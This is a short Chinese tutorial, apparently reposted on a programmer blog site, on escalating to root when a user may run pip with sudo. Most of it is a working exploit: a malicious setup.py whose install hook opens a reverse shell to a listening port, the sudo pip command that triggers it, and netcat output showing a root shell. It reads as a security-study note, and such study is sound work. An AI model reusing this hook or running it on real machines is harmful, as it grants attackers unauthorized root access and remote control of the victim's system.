python pip提权
程序员文章站
2022-07-14 15:31:25
...
在有些linux机器中,某个用户拥有pip的sudo权限,在这种情况下,可以利用pip install进行本地提权。
在执行pip install时会调用setup.py,可以在本地创建恶意setup.py文件来达到任意命令执行的效果。
from setuptools import setup
from setuptools.command.install import install
import os, socket, subprocess
class CustomInstall(install):
def run(self):
install.run(self)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
setup(name='FakePip',
version='0.0.1',
description='Reverse shell',
url='xx.xx.xx.xx',
author='nathan',
author_email='[email protected]',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
执行sudo pip install . --upgrade --force-reinstall
就能获得root权限的反弹shell
[email protected]:~/vul_study/sudo_pip$ sudo pip install . --upgrade
The directory '/home/nathan/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/nathan/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing /home/nathan/vul_study/sudo_pip
Installing collected packages: FakePip
Found existing installation: FakePip 0.0.1
Uninstalling FakePip-0.0.1:
Successfully uninstalled FakePip-0.0.1
Running setup.py install for FakePip ... -
[email protected]:~/share/trans$ nc -lp 1234
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
FakePip.egg-info
pip-delete-this-directory.txt
pip-egg-info
setup.py
# pwd
/tmp/pip-5AYQjK-build
#
上一篇: MySQL添加用户、创建数据库、分配权限
推荐阅读
-
学会了 python 的pip方法安装第三方库
-
win8安装python环境和pip、easy_install工具
-
Python下的常用下载安装工具pip的安装方法
-
Python的包管理器pip更换软件源的方法详解
-
基于windows下pip安装python模块时报错总结
-
python2.7 安装pip的方法步骤(管用)
-
Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
-
CentOS6.9 Python环境配置(python2.7、pip、virtualenv)
-
无法使用pip命令安装python第三方库的原因及解决方法
-
解决Python安装后pip不能用的问题